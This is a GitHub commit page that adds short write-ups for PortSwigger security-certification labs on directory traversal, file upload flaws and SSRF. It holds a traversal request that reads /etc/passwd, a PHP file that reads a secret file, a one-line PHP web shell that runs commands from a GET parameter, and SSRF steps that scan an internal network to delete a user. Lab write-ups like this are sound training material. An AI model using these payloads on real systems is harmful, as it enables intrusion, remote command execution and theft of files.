Skip to content

Commit

Permalink
feat(bscp): add labs for upload vulns
Browse files Browse the repository at this point in the history
  • Loading branch information
Sirius-A committed Nov 7, 2023
1 parent 7a78473 commit ed161ff
Show file tree
Hide file tree
Showing 5 changed files with 40 additions and 0 deletions.
12 changes: 12 additions & 0 deletions docs/writeups/2023/portswigger-bscp-labs/directory-traversal.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
# Directory Traversal

## File path traversal, traversal sequences stripped non-recursively

`../` gets filtered so we trick the applaction by submitting a get request like
this:

```
GET /image?filename=....//....//....//....//etc/passwd HTTP/2
Host: 0afc0083049fe2ff877f7f5400b400a1.web-security-academy.net
```

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<?php echo file_get_contents('/home/carlos/secret'); ?>
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# Server-side Request Forgery (SSRF)

## Basic SSRF against the local server

1. Click on a product
2. Request the stock count of the product
3. Change the url of the `stockApi` parameter to point to `localhost/admin`
4. View the rendered page and the source to find our that we need to set the
`stockApi` url to `localhost/admin/delete?username=carlos`

## Basic SSRF against another back-end system

1. Click on a product
2. Request the stock count of the product
3. Send request to Intruder
4. Change the url of the `stockApi` parameter to point to `http://192.168.0.$1$/admin`
- set `$1$` to a number between 1 and 255.
5. look for `200` status answer
6. delete carlos
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Upload Vulnerabilities

PHP Shell

```
<?php echo system($_GET['cmd']); ?>
```

0 comments on commit ed161ff

Please sign in to comment.